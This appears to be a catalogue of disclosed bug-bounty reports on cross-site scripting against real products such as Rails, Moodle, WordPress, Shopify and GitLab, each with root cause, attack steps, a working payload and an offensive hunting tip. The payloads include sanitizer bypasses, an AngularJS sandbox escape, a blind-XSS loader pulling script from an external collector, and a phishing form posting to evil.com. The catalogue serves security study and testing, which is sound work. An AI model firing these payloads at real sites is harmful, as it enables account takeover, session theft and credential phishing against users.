Insight — Rich-text editors with a raw 'Text/HTML' mode bypass the visual editor's sanitization; the listing/index view that renders titles or excerpts is a common second sink where authored content is not re-escaped.
Real-world example
Reflected XSS in hidden input triggered via injected accesskey
◆ Medium
Specimen #1083376 · revive_adserver · none · 24 votes · resolved
Program revive_adserverSurface webTag account-takeover
Root cause
The setPerPage parameter is reflected into a hidden <input> attribute without encoding. Because the field is hidden, the reporter injects both an event handler and an accesskey attribute so the handler can be triggered by a keyboard shortcut instead of a click (CVE-2021-22875).
Method
- Inject setPerPage=15' onclick=alert(document.domain) accesskey=X into /admin/stats.php
- The value breaks out of the hidden input and adds onclick + accesskey=X
- Victim presses the browser accesskey combo (e.g. Alt+Shift+X in Firefox) to fire onclick
/admin/stats.php?statsBreakdown=day&listorder=key&orderdirection=up&day=&setPerPage=15%27%20onclick=alert(document.domain)%20accesskey=X%20&entity=global&breakdown=history&period_preset=last_month
Insight — Reflected XSS in a hidden/invisible input is still exploitable: add accesskey=X plus an event handler so the payload is triggered by a keypress rather than a click. Useful whenever the injection lands in an element that cannot be clicked.
Real-world example
XSS via javascript: URL in custom RSS feed link
◆ Medium
Specimen #1184379 · brave · awarded · 24 votes · resolved
Program braveSurface mobile-iosTag account-takeover
Root cause
Brave iOS's custom RSS feed feature renders each entry's original-article link without restricting the URL scheme. A feed entry whose link href is javascript:... executes in the privileged localhost context when tapped.
Method
- Host an RSS/Atom feed with an entry link href set to javascript:alert(document.domain)
- Add the feed as a source in Brave Today and enable it
- Open the feed tab and tap the entry; JS runs on the privileged http://localhost:65XX origin
<entry>
<title>XSS</title>
<link rel="alternate" type="text/html" href="javascript:alert(document.domain)" />
<content type="html"><![CDATA[<img src="https://attacker/test.png">]]></content>
</entry>
Insight — Any feature that turns attacker-supplied data into a clickable link (RSS/Atom, bookmarks, deep links) must allow-list schemes (http/https). Missing scheme validation makes javascript: URLs an XSS sink, often on a privileged internal origin in browsers/apps.
Real-world example
Rails sanitizer bypass via SVG <use> + base64 data-URI SVG
◆ Medium
Specimen #1694173 · rails · none · 24 votes · resolved
Program railsSurface webTag account-takeover
Root cause
When ActionView's sanitize helper is configured to allow svg and use tags, an SVG <use href> can reference a base64-encoded data: URI containing a second SVG with an onerror handler, which the sanitizer never inspects, yielding XSS (CVE-2022-23515/23518).
Method
- Confirm the app calls sanitize(...) allowing svg and use (globally or via tags: %w(svg use))
- Supply <svg><use href="data:image/svg+xml;base64,<b64 of malicious svg>#x"/></svg>
- The embedded SVG's <image href=1 onerror=...> executes
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEzMzcnIGhlaWdodD0nMTMzNyc+CjxpbWFnZSBocmVmPSIxIiBvbmVycm9yPSJhbGVydCh3aW5kb3cub3JpZ2luKSIgLz4KPC9zdmc+#x"/></svg>
Insight — SVG <use> dereferences external/data-URI documents that sanitizers do not recurse into. If svg+use are on the allow-list, you can smuggle event handlers inside a base64 data: SVG. Test every HTML sanitizer with this gadget when SVG is permitted.
Real-world example
Moodle LTI reflected XSS (CVE-2022-35653)
◆ Medium
Specimen #2444032 · deptofdefense · none · 24 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Moodle's LTI module (/mod/lti/auth.php) reflects a POST parameter into the response without sanitization, allowing reflected XSS via a crafted form POST (CVE-2022-35653).
Method
- Fingerprint Moodle (title:"Moodle") and confirm vulnerable version
- POST to /mod/lti/auth.php with the payload parameter
- Injected <img onerror> reflects and executes
POST /mod/lti/auth.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
xxx"><img/src='x'onerror=alert('document_domain')>=1
Insight — Known-CVE hunting on managed software (Moodle, Revive, etc.) pays off on large orgs: fingerprint the product/version, then fire the public nuclei template. auth.php reflecting POST bodies is the specific Moodle sink.
Real-world example
DOM XSS via document.URL flowing into innerHTML
◆ Medium
Specimen #156166 · informatica · none · 23 votes · resolved
Program informaticaSurface webTag account-takeover
Root cause
Client JS builds a breadcrumb link by concatenating document.URL into an HTML string and assigning it to element.innerHTML, so the URL (including fragment) is a DOM source that reaches an innerHTML sink unsanitized.
Method
- Find code like strChild = "<a href="+document.URL+"...>"; li.innerHTML = strChild
- Put the payload in the URL fragment so it is not sent to the server
- innerHTML parses the injected markup and fires
https://TARGET/pages/infasearchltd.aspx?#"><img src=x onerror=alert(document.domain)>
Insight — Classic DOM XSS source->sink: document.URL / location.href / location.hash into innerHTML/document.write. Using the # fragment keeps the payload client-side only, evading server WAFs and logs.
Real-world example
WordPress XSS via unicode-char upload filename bypassing sanitize_file_name
◆ Medium
Specimen #179695 · wordpress · awarded · 23 votes · resolved
Program wordpressSurface webChain Upload XSS -> admin visits attachment page -> JS creatTag file-uploadTag account-takeover
Root cause
Prepending a special unicode character to an upload filename bypasses client-side escaping and causes wp_unique_filename/sanitize_file_name to return an empty/numeric name, so the file is saved as '-1' and served as HTML rather than an image, executing embedded script (CVE-2020-11026).
Method
- Create a file whose content is <script>alert('XSS')</script> with a .png extension
- Upload via Media -> Add new, using a proxy (TamperData/Burp) to prepend a unicode char to the filename
- sanitize_file_name reduces the name to '-1'; visiting the '-1' attachment page renders it as HTML
filename: "\u00b1myfile.png" (content: <script>alert('XSS')</script>) -> stored as attachment named -1, served as text/html
Insight — Server-side filename sanitizers can be driven to return an empty/degenerate name with multibyte/unicode input, changing how the file is stored and served (image -> text/html). Test upload filename sanitizers with leading unicode, control chars, and combining marks.
Real-world example
DOM XSS via incomplete postMessage origin validation
◆ Medium
Specimen #387544 · shopify · awarded · 23 votes · resolved
Program shopifySurface webChain Origin-check bypass -> postMessage redirect_to_url javascTag account-takeover
Root cause
The admin-bar message listener validates the sender origin with this.iframe.src.indexOf(e.origin) >= 0. Because the check is a substring test without a trailing slash, an attacker origin that is a prefix of the expected host (e.g. https://foo.my for https://foo.myshopify.com) passes, then a redirect_to_url message with a javascript: URL injects script.
Method
- Register/point a domain that is a prefix of the real origin (foo.my / foo.myshopify.co)
- From that origin postMessage a redirect_to_url action with a javascript: URL
- The flawed indexOf origin check accepts it and the shop front navigates to/executes the javascript: URL
// vulnerable check
this.iframe.src.indexOf(e.origin) < 0 || handle(...)
// attacker origin https://foo.my is a substring of https://foo.myshopify.com -> accepted
targetWindow.postMessage({action:'redirect_to_url', url:'javascript:alert(document.domain)'}, '*')
Insight — Audit every postMessage listener's origin check: indexOf/startsWith/includes without an exact match or trailing-slash boundary lets a prefix/substring domain pass. Register the boundary-crossing domain (host without .com, or host.attacker.tld) to defeat it.
Real-world example
ASP.NET cookieless-session path injection XSS
◆ Medium
Specimen #950700 · deptofdefense · none · 23 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
ASP.NET cookieless session/state embeds a token in the URL path as a (X(...)) segment; the framework reflects that segment into the page, so injecting an event handler inside the parenthesized path segment yields reflected XSS without any query parameter.
Method
- Insert a (Z("...payload...")) or (A('...')) segment into the ASP.NET path before the .aspx page
- Break out with an event handler (onmouseover/onerror) using backtick-called alert to avoid parentheses filtering
- Move the mouse over the page to trigger onmouseover
https://TARGET/(Z(%22onmouseover=alert%60%60%20%22))/path/page.aspx
Insight — On ASP.NET sites, the cookieless session path segment (S(...))/(A(...))/(Z(...)) is a reflected sink independent of query params. Try event handlers with backtick-invoked JS (alert``) to dodge naive filters and to fire on user interaction.
Real-world example
Reflected XSS / HTML-injection phishing via unsanitized GET param
◆ Medium
Specimen #1810656 · us-department-of-state · none · 23 votes · resolved
Program us-department-of-stateSurface webTag account-takeover
Root cause
An id parameter (here an eXist-db XQuery .xq endpoint, with a vulnerable jQuery 1.11.3 in play) is reflected into the page without encoding, allowing a </title> breakout into arbitrary HTML/JS or a full injected credential-harvesting form for phishing.
Method
- Find a reflected GET parameter (e.g. card.xq?id=)
- Break out of the current context with </title> and inject <script> or a full <form action=attacker>
- Deliver the link; script executes or a fake login form is rendered on the trusted domain
https://TARGET/card.xq?id=</title><script>alert(document.domain)</script>
# HTML-injection phishing variant:
https://TARGET/card.xq?id=</title><body><form action="https://evil.com" method=post>...password field...</form>
Insight — Reflected params that land inside <title> or <head> are broken out of with </title>; even without JS, injecting a styled login <form action=attacker> is a high-impact phishing primitive on a trusted origin. Also flag stale jQuery (<1.9 style $(html) sinks).
Real-world example
Rails SafeListSanitizer bypass via foreign-content style (math/svg + style)
◆ Medium
Specimen #1805899 · ibb · USD 2400 · 22 votes · resolved
Program ibbSurface webTag account-takeover
Root cause
Rails::Html::SafeListSanitizer mis-parses HTML 'foreign content': when both a foreign-content root (svg or math) and style are allow-listed, content inside <style> is treated as raw text and passed through, so <script>/<img onerror> nested under <svg><style> or <math><style> survives sanitization (CVE-2022-23519; same family as select+style #1530898 and math-related tags #2931710).
Method
- Confirm the app's sanitize allow-list includes style plus svg or math
- Submit <svg><style><script>alert(1)</script></style></svg> or <math><style><img src=x onerror=alert(1)></style></math>
- Sanitizer returns the payload unchanged
<svg><style><script>alert(1)</script></style></svg>
<math><style><img src=x onerror=alert(1)></style></math>
Insight — HTML parsing switches to 'foreign content' inside svg/math where tokenization rules differ; sanitizers that walk the DOM after the browser/parser re-nests tags can be fooled by style/annotation-xml/mglyph. When any sanitizer allows svg or math plus style, test this class of bypass (applies to DOMPurify-style filters too).
Real-world example
Rails HTML sanitizer bypass via noscript parser differential
◆ Medium
Specimen #2931691 · ibb · awarded · 22 votes · resolved
Program ibbSurface webTag account-takeover
Root cause
rails-html-sanitizer 1.6.0 mishandles <noscript>: because HTML parses noscript content differently depending on whether scripting is enabled, a payload that closes noscript inside an attribute survives sanitization and executes in a scripting-enabled browser (advisory GHSA-rxv5-gxqc-xx8g).
Method
- Confirm the app uses the vulnerable sanitizer with noscript allowed
- Submit a noscript payload whose inner content contains a </noscript><script> break
- Browser (scripting on) parses it as a real script and executes
<noscript><p id="</noscript><script>alert(1)</script>"></noscript>
Insight — noscript is a scripting-flag-dependent parsing context: sanitizers parse with scripting disabled, browsers with it enabled, so the DOMs differ and a </noscript> inside an attribute reopens an executable context. Test any allow-list that permits noscript.
Real-world example
Stored XSS in name/label field rendered in admin UI
◆ Medium
Specimen #1940788 · acronis · awarded · 22 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
A free-text 'plan name' (and similar module/label name fields) is stored without validation and later rendered without output encoding in dialogs/lists, so <img onerror> stored by a user executes when the object is displayed (e.g. a stop-confirmation dialog or settings view).
Method
- Create an object (plan/module) whose name is an XSS payload
- Trigger a view that renders the name (list, settings, or a confirmation dialog)
- Payload fires in the viewer's/admin's browser
<img src=x onerror=alert(/Stored_XSS/)>
Insight — Every user-nameable object (plan, module, label, group, project) is a stored-XSS candidate; the sink is often a secondary surface (confirmation modal, toast, hover, settings page) that re-renders the name without encoding. Test naming fields and then hunt for every place the name is echoed.
Real-world example
Reflected XSS via known-vulnerable hosted SWF (video-js.swf)
◆ Medium
Specimen #270060 · wordpress · awarded · 21 votes · resolved
Program wordpressSurface webTag cors
Root cause
A vulnerable Flash file (video-js.swf) hosted on the target takes a JS-callback parameter (readyFunction) and passes it to ExternalInterface, allowing reflected XSS in the target's origin; moxieplayer.swf allows content spoofing via its url param.
Method
- Search the target's static assets/SVN/CDN for known-vulnerable SWFs (video-js.swf, moxieplayer.swf, ZeroClipboard)
- Hit the SWF with its JS-callback param set to your payload
- Flash executes JS in the target origin
https://TARGET/.../video-js/video-js.swf?readyFunction=alert('Hello')
https://TARGET/.../moxieplayer.swf?url=hekimuso1973.xsl.pt/723.flv (content spoof)
Insight — Legacy SWF files with JS-callback params (readyFunction, onXYZ, api callbacks) are a durable reflected-XSS source. Grep the asset tree / SVN / wayback for *.swf and test known callback params.
Real-world example
Blind stored XSS via public support/feedback form firing in admin panel
◆ Medium
Specimen #615840 · gsa_bbp · 300 · 21 votes · resolved
Program gsa_bbpSurface webChain blind stored XSS in feedback form -> JS exec in internal Tag account-takeover
Root cause
Free-text fields of a public 'report a problem'/feedback form are stored and later rendered unsanitized inside an internal admin/CRM console, so an out-of-band XSS payload executes in a privileged staff session.
Method
- Find a public feedback/contact/report form (title, description, name, subject, body fields)
- Submit an XSSHunter-style blind payload in every field
- Wait for a staff/admin to open the submission in the back-office console; collector fires with the internal admin URL/DOM
"><script src=https://YOURID.xss.ht></script> (seed identical payload into name, email, subject, body)
Insight — Any input a human employee later reviews (support tickets, abuse reports, contact forms, order notes, user-agent/referer logs) is a blind-XSS delivery vector. Fire-and-forget with a collector; the callback reveals internal admin panels you can't reach directly.
Real-world example
Reflected/DOM XSS via query param written into page
◆ Medium
Specimen #230435 · wordpress · awarded · 21 votes · resolved
Program wordpressSurface web
Root cause
A category/filter query parameter (subcat) is reflected into the page markup without encoding, allowing attribute/tag breakout.
Method
- Locate a listing/category page that echoes a filter param
- Inject an attribute breakout with an img onerror payload
https://mercantile.wordpress.org/product-category/apparel/?subcat=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Insight — Category/search/filter params on storefront listing pages are reliable reflected-XSS sinks; always test them with "><img src=x onerror=alert(1)>.
Real-world example
DOM XSS in bundled third-party lodash/perf demo page (document.write)
◆ Medium
Specimen #248560 · grab · awarded · 21 votes · resolved
Program grabSurface web
Root cause
Left-over vendor demo assets (bower_components/lodash/perf/) read build/other GET params and pass them to document.write without encoding, yielding DOM XSS on the production host.
Method
- Grep the site for shipped vendor demo paths (/bower_components/, /node_modules/, /perf/, /docs/, /test/)
- Hit lodash perf demo with a payload in build or other GET param
- Observe document.write executing the injected script
https://parcel.grab.com/assets/bower_components/lodash/perf/?build=lodash%22%3E%3C/script%3E%3Cimg%20src=1%20onerror=alert(1)%3E&other=lodash
Insight — Deployed front-end dependencies often ship their own demo/perf/test HTML that contains known DOM-XSS sinks. Enumerate bower_components/node_modules paths; lodash/perf, jQuery demos and similar are recurring wins.
Real-world example
Stored XSS via raw-HTML content field executing on embedded app host
◆ Medium
Specimen #420459 · shopify · awarded · 21 votes · resolved
Program shopifySurface web
Root cause
An app settings 'portal content' field accepts raw HTML (a 'Code' editor) and stores it unsanitized; it renders into both the admin and the public portal on the app's own domain.
Method
- Find a rich-text/HTML/'Code' content field in app settings
- Store an img onerror payload
- Reopen the settings page and the public portal to trigger
Test <img src=x onerror=alert(2)>
Insight — Fields explicitly labeled 'HTML'/'Code'/'custom content' are prime stored-XSS sinks; verify whether execution happens on a shared embedded app domain (bigger blast radius than the merchant's own store).
Real-world example
Filename param reflected into JS context -> cross-tenant XSS on shared embedded domain
◆ Medium
Specimen #423454 · shopify · awarded · 21 votes · resolved
Program shopifySurface webChain stored XSS in filename -> exec on shared wholesale.shopifTag file-uploadTag account-takeover
Root cause
A CSV filename value (price_list[csv_file_name]) is echoed into a JavaScript string without escaping; stored XSS fires on a domain (wholesale.shopifyapps.com) shared across all shops, breaking tenant isolation.
Method
- Create a price-list import; intercept POST /admin/shops/x/price_lists/x
- Append a JS-context breakout to csv_file_name
- Revisit the price list; payload fires on the shared embedded app domain
sample-csv-sku.csv"-alert(document.domain)-"
Insight — Server-echoed filenames/labels are frequently placed into inline JS with only quote escaping missing. On multi-tenant embedded apps served from one shared host, such stored XSS lets you pivot into any tenant that host serves.
Real-world example
Directory-listing filename XSS in static-server npm modules
◆ Medium
Specimen #490728 · nodejs-ecosystem · none · 21 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Static-file-server modules render directory entries by inserting the raw filename into HTML (as link text/href) without encoding, so a crafted filename becomes an XSS payload for anyone browsing the listing.
Method
- Install the static server module (takeapeek / seeftl / similar)
- Create a file whose name is a payload
- Start the server and browse the directory listing
touch 'javascript:alert(1)' # link-href variant
touch '" onmouseover=alert(1) "' # attribute-breakout variant (seeftl, CVE-2019-15603)
Insight — Any app that lists filenames (static servers, upload galleries, file managers, git web UIs) must HTML-encode names. Test with attribute-breakout filenames and javascript: filenames. Filesystems allow most chars, so the payload is 'stored' by simply naming a file.
Real-world example
Stored XSS via report-builder field (attribute breakout)
◆ Medium
Specimen #642281 · x · awarded · 21 votes · resolved
Program xSurface web
Root cause
A custom-report parameter (nrnew-interval) is reflected into an HTML attribute unsanitized; a "> breakout injects an img onerror that executes when the saved report is viewed.
Method
- Create/save a custom report and intercept the add request
- Set the interval/name field to a "><img> payload
- Reopen the saved report
custom"><img src=x onerror=alert(cookie)>
Insight — Report/dashboard builders that persist arbitrary field values are stored-XSS sinks; always test the less-obvious params (interval, schedule, recipients) not just the name.
Real-world example
Reflected XSS via URL parameter with case/slash-varied tag payload
◆ Medium
Specimen #924650 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web
Root cause
A request parameter is reflected into the response without output encoding; a Svg/OnLoad payload with mixed case and slash separators evades naive keyword filters.
Method
- Find a param reflected into HTML (i=, email=, search=, path segment, etc.)
- Inject a mixed-case tag payload with slash separators
- Confirm execution in-browser
...&i=l9716%27();}]9836&001%3C%2FScript%2F%3E%3CSvg%2FOnLoad%3D(confirm)(1)%3E=1 -> </Script/><Svg/OnLoad=(confirm)(1)>
Insight — For reflected sinks behind weak filters, vary tag case and use / instead of spaces (<Svg/OnLoad=...>, <img/src/onerror=...>). Test every reflected input: query params, path segments, email/unsubscribe params, and search fields.
Real-world example
HTML-sanitizer bypass via allowed math + style (foreign-content mXSS)
◆ Medium
Specimen #2931636 · ibb · awarded · 20 votes · resolved
Program ibbSurface web
Root cause
rails-html-sanitizer 1.6.0 (Rails ActionView sanitize) mis-parses content when math and style tags are on the allowlist, letting markup survive sanitization and execute (mutation XSS in foreign-content namespaces).
Method
- Find a sink using sanitize with tags including math/style (or default Rails >=7.1 config)
- Inject a math/style foreign-content payload that browsers re-parse into script context
- Confirm XSS
<%= sanitize @comment.body, tags: ["math", "style"] %>
# payload class: MathML/foreign-content + style that mutates on reparse (see GHSA-638j-pmjw-jq48 / report #2519941)
Insight — Sanitizer allowlists that include foreign-content elements (math, svg, style) are a recurring mXSS source because HTML parsing rules differ inside those namespaces. On any rich-text field, probe the exact sanitizer version and allowed-tag set.
Real-world example
Error page (HTTP 429) reflects path into inline script (JS-string breakout)
◆ Medium
Specimen #189768 · quora · awarded · 20 votes · resolved
Program quoraSurface web
Root cause
The rate-limit (429) error page reflects the request path into an inline analytics <script> string (ga set dimension); a quote-dash breakout escapes the JS string and executes.
Method
- Trigger the 429 (too many requests) error page
- Request a path containing a JS-string breakout
- Payload lands inside inline GA script and runs
https://controlsyou.quora.com/'-alert(document.domain)-' -> ga('set','dimension1','board-'-alert(document.domain)-'');
Insight — Error/status pages (429, 404, 500) often still render inline analytics with the request URL/path interpolated into a JS string. Test error pages with '-alert(1)-' and "-alert(1)-" breakouts, not just the normal 200 responses.
Real-world example
Control-character injection inside javascript: to bypass Markdown link sanitizer
◆ Medium
Specimen #270999 · gitlab · none · 20 votes · resolved
Program gitlabSurface web
Root cause
GitLab's Markdown parser sanitizes link schemes by string-matching, but embedding non-printable control characters (0x01, 0x03) inside 'javascript:' evades detection while browsers strip the controls and still resolve the scheme.
Method
- Edit a Markdown surface (wiki/comment) and intercept the save
- Set the content param to an anchor whose href is javascript: split by control chars
- Save, then click the rendered link to execute
%3Ca+href%3D%22%01java%03script%3Aconfirm%28document.domain%29%22%3EClick+to+execute%3Ca%3E -> <a href="\x01java\x03script:confirm(document.domain)">
Insight — Against scheme/keyword filters in Markdown/HTML sanitizers, inject NULL and low control bytes (\x01-\x1F) inside 'javascript:'. Browsers discard them during URL parsing so the scheme still fires. Wiki/comment Markdown is the delivery surface.
Real-world example
Stored XSS in WordPress Post Shortcode (Contributor -> admin preview)
◆ Medium
Specimen #460911 · wordpress · awarded · 20 votes · resolved
Program wordpressSurface webChain Contributor stores shortcode XSS -> admin previews post -
Root cause
The Post Shortcode feature renders shortcode-embedded content without encoding, so a low-privilege Contributor can store an img onerror payload that executes when a higher-privileged user previews the post in the admin interface.
Method
- As a Contributor, add the payload via the Post Shortcode function in a post
- Await/trigger an admin previewing the post in the back-office
- XSS runs in the admin context
"><img src=1 onerror=prompt(1)>
Insight — CMS shortcode/embed processors are stored-XSS sinks reachable by low-priv authors; the real impact is privilege escalation when an editor/admin previews the content. Test every shortcode and post-preview path.
Real-world example
Reflected XSS via unescaped admin query params (Revive Adserver)
◆ Medium
Specimen #1083231 · revive_adserver · none · 20 votes · resolved
Program revive_adserverSurface web
Root cause
Admin GUI query parameters (period_preset, group) are reflected into the page without output encoding, allowing script injection.
Method
- Load an admin report/preferences page with a crafted parameter
- Close the current attribute/tag and inject a <script> element
period_preset=all_events</script><script>alert(document.domain)</script><script>
group='"><script src=//COLLAB></script>
Insight — Open-source admin panels frequently echo filter/preset/group params straight into HTML; grep the source for the param and test '"><script>. Two disclosed CVEs on the same product (CVE-2021-22874, CVE-2025-48987).
Real-world example
Self-stored XSS weaponized with login CSRF
◆ Medium
Specimen #1092678 · deptofdefense · none · 20 votes · resolved
Program deptofdefenseSurface webChain login CSRF -> victim in attacker account -> stored sel
Root cause
A username field enforces length/charset only client-side; removing maxlength via devtools stores an XSS payload. Login CSRF then forces the victim into the attacker's account so the stored payload runs in the victim's browser.
Method
- Edit the client-side maxlength on the username field and submit an XSS payload
- Store payload in your own account
- Generate a login-CSRF PoC that logs the victim into the attacker account
- Victim opens the PoC, is auto-logged into the attacker account, payload executes
"><img src onerror=confirm(document.cookie)>
Insight — Self-XSS becomes exploitable when the app allows login CSRF (no CSRF token on the login form): the classic pairing to upgrade self-XSS to a real finding.
Real-world example
Reflected XSS via CurrentFolder file-manager param
◆ Medium
Specimen #1624267 · deptofdefense · none · 20 votes · resolved
Program deptofdefenseSurface web
Root cause
The CurrentFolder parameter (classic FCKeditor/CKFinder connector pattern) is reflected unescaped into the page.
Method
- Append an <img onerror> payload to CurrentFolder on a resources/file-browser endpoint
CurrentFolder=<img src onerror=alert(domain)>Resources
Insight — CurrentFolder / file-manager connector params (FCKeditor, CKFinder) are recurring reflected-XSS sinks on .aspx/legacy CMS; always test them.
Real-world example
DOM XSS via paste-as-plaintext writing to innerHTML
◆ Medium
Specimen #2211561 · nextcloud · none · 20 votes · resolved
Program nextcloudSurface web
Root cause
The Ctrl+Shift+V 'paste as plain text' handler routes clipboard content through a DOM element's innerHTML before schema sanitization, so pasted HTML is parsed and injected.
Method
- Copy HTML markup to the clipboard
- Ctrl+Shift+V into the editor
- HTML is assigned to innerHTML and rendered
<h1>html</h1> (or <img src=x onerror=...> for script)
Insight — Rich-text/markdown editors' paste handlers are DOM-XSS sinks; audit paste/drop handlers for innerHTML/insertAdjacentHTML before the sanitizer runs. CVE-2023-48302.
Real-world example
Reflected XSS via Username field on Aeon registration form
◆ Medium
Specimen #2356104 · deptofdefense · none · 20 votes · resolved
Program deptofdefenseSurface web
Root cause
The Username field of an Aeon (ILLiad) registration POST is reflected without encoding.
Method
- Convert the GET to a POST registration request
- Set Username to a polyglot XSS probe
- Submit; script executes on reflection
Username=ghovjnjv'"()&%<zzz><ScRiPt>alert(233)</ScRiPt>
Insight — Aeon/aeon.dll library-services forms are a recognizable target; the mixed-quote polyglot '"()&%<zzz><ScRiPt> quickly reveals reflection context.
Real-world example
Reflected XSS via fileName echoed in error page (Confluence)
◆ Medium
Specimen #866433 · lab45 · none · 20 votes · resolved
Program lab45Surface web
Root cause
On an attachment-edit error, the fileName parameter is reflected unescaped into the doeditattachment error response.
Method
- Go to a wiki page attachment edit URL
- Set fileName to an XSS payload so an error path reflects it
- Victim opening the URL triggers execution
doeditattachment.action?pageId=ID&fileName=s"><img src=X onerror=alert(document.domain)>ss.svg
Insight — Error/validation pages that echo the offending input (filenames, IDs) are reflected-XSS sinks; force an error to reach the reflecting branch.
Real-world example
CSS injection via avatar url() breakout for UI redressing
◆ Medium
Specimen #1031613 · rocket_chat · none · 19 votes · resolved
Program rocket_chatSurface webChain CSS injection -> UI redressing -> 2FA/credential phish
Root cause
A custom message avatar value is inserted into an element's inline background:url(...) style; supplying 'none);' closes the url() and appends attacker CSS, letting an attacker style/overlay arbitrary page elements (no whitespace allowed) to redress the UI and trick users.
Method
- Find where user input lands in an inline style / url() context (here sendMessage avatar)
- Break out with 'none);' then append CSS properties (position:fixed, full-screen overlay, opacity)
- Overlay a fake 2FA/login prompt or capture-inducing element; combine several injections for full UI control
Meteor.call("sendMessage", {rid:"ROOM_ID", avatar:"none);position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;background-color:black;opacity:0.5;pointer-events:none;", msg:"Enjoy the Dark Theme!", alias:"hacker"});
Insight — Values placed into inline CSS/url() are an injection sink even without full XSS: 'none);' escapes background:url() and appended declarations enable overlays, clickjacking-style redressing, and (with attribute selectors) data exfiltration. Watch the no-whitespace constraint - use /**/ or commas.
Real-world example
XSS via attacker-controlled output of a hardcoded frontend expression
◆ Medium
Specimen #684544 · quantopian · 1225 · 19 votes · resolved
Program quantopianSurface web
Root cause
The frontend renders the result of a fixed backend 'watched expression' as unsanitized HTML. Because the user controls the code-execution environment (an algo IDE/debugger), they redefine the object so the fixed expression returns HTML.
Method
- Identify the constant watched expression the frontend evaluates (e.g. get_datetime().strftime(...))
- In your algo code, override that class so the expression returns an XSS string
- Run the debugger; the returned HTML is injected unsanitized
class get_datetime():
def __init__(self):
self.img = '<img src=x'+' one'+'rror=alert(1)>'
def strftime(self, x=None):
return self.img
Insight — When a UI renders the output of a fixed server-side expression as HTML and you control the evaluation context, you can force that expression to emit markup — a no-interaction XSS on collaborators and on anyone who clones/runs the shared code.
Real-world example
Reflected XSS via AngularJS sandbox escape (client-side template injection)
◆ Medium
Specimen #221893 · wordpress · awarded · 19 votes · resolved
Program wordpressSurface web
Root cause
Search input is reflected into an AngularJS-bound region (ng-bindable/ng-app), so an {{}} expression is evaluated by Angular — a sandbox-escape payload achieves JS execution even without raw HTML injection.
Method
- Confirm AngularJS binding in source (ng-app/ng-bindable)
- Inject an AngularJS sandbox-escape expression into the reflected param (search s=)
- Expression evaluates and executes JS
{{c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,prompt(document.domain)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=''.sub;$eval('a(b.c)');[].push.apply=a;}}
Insight — Reflection into an Angular scope means CSTI: test {{7*7}} first, then a version-appropriate sandbox escape. Applies wherever a framework template binds user input (Angular, Vue, Handlebars).
Real-world example
Reflected XSS via requested path in custom 404 page
◆ Medium
Specimen #1057419 · deptofdefense · none · 19 votes · resolved
Program deptofdefenseSurface web
Root cause
A custom 'page does not exist' 404 handler reflects the requested path unescaped into the response.
Method
- Request a non-existent path containing an XSS payload
- 404 handler echoes the path and executes it
http://TARGET/<svg onload=alert("xss")>
Insight — Custom 404/error pages that echo the requested URL/path are easy reflected-XSS sinks; probe /<svg onload=...> on any app with a verbose not-found message.
Real-world example
POST-only reflected XSS (ColdFusion cpID)
◆ Medium
Specimen #1212235 · mtn_group · none · 19 votes · resolved
Program mtn_groupSurface web
Root cause
The cpID parameter on a ColdFusion .cfm page is reflected unescaped but only when sent via POST, so GET-based scanners miss it.
Method
- Intercept the request and switch GET to POST with a body
- Inject the payload in cpID
- Use Burp 'show response in browser' to render/deliver the reflected POST
category_id=7&cpID=1"> <img src=a onerror=alert("XSS")><!--
Insight — Test reflected params over BOTH GET and POST; POST-only reflections are common on ColdFusion/.cfm and are delivered via auto-submitting forms (or Burp show-in-browser).
Real-world example
Stored XSS via admin adsense/customtag Name fields (ImpressCMS)
◆ Medium
Specimen #1331281 · impresscms · none · 19 votes · resolved
Program impresscmsSurface web
Root cause
Admin adsense-ID and custom-tag Name fields store and render input without encoding.
Method
- Navigate to the adsense or customtag admin module
- Enter a <script> payload in the ID/Name field
- Payload executes on view
<script>alert('AppleBois');</script>
Insight — Legacy PHP CMS admin config fields (adsense IDs, custom tags, labels) are unencoded stored-XSS sinks; enumerate every admin.php module input. CVE-2020-17551.
Real-world example
Reflected XSS in JS string context via search param
◆ Medium
Specimen #1818172 · equifax · none · 19 votes · resolved
Program equifaxSurface web
Root cause
The search 'q' value is reflected inside a JS string argument to Analytics.trackEvent({internalSearchTerm:"..."}); breaking out of the string and abusing a duplicate object key with .map(alert) executes JS without any HTML tags.
Method
- Find the reflection inside inline <script> (trackEvent call)
- Close the string, add a duplicate key whose value is ["x"].map(alert)
- Balance the object so the script parses and runs
q=" , internalSearchTerm: ["broook"].map(alert) , numOfSearchResultsReturned: "b
Insight — When reflection lands inside a JS string/object literal, break out with a quote and inject valid JS (duplicate keys, array .map(fn)) — no <script> needed and it bypasses HTML-only filters/CSP that still allow inline scripts.
Real-world example
rails-html-sanitizer bypass when 'style' tag is allowlisted
◆ Medium
Specimen #2931639 · ibb · awarded · 19 votes · resolved
Program ibbSurface web
Root cause
rails-html-sanitizer 1.6.0 (used by ActionView's sanitize helper) fails to safely sanitize when the 'style' tag is in the allowed-tags list, permitting XSS.
Method
- Find sanitize() called with tags including 'style'
- Supply markup exploiting the style-tag handling (see GHSA-2x5m-9ch4-qgrr / #2519936)
<%= sanitize @comment.body, tags: ["style"] %> (vulnerable config; fixed in 1.6.1)
Insight — Never allowlist 'style' (or other exotic tags) in HTML sanitizers — style/CSS contexts enable XSS and sanitizer bypasses. Check sanitizer library versions and custom allow-lists during code review.
Real-world example
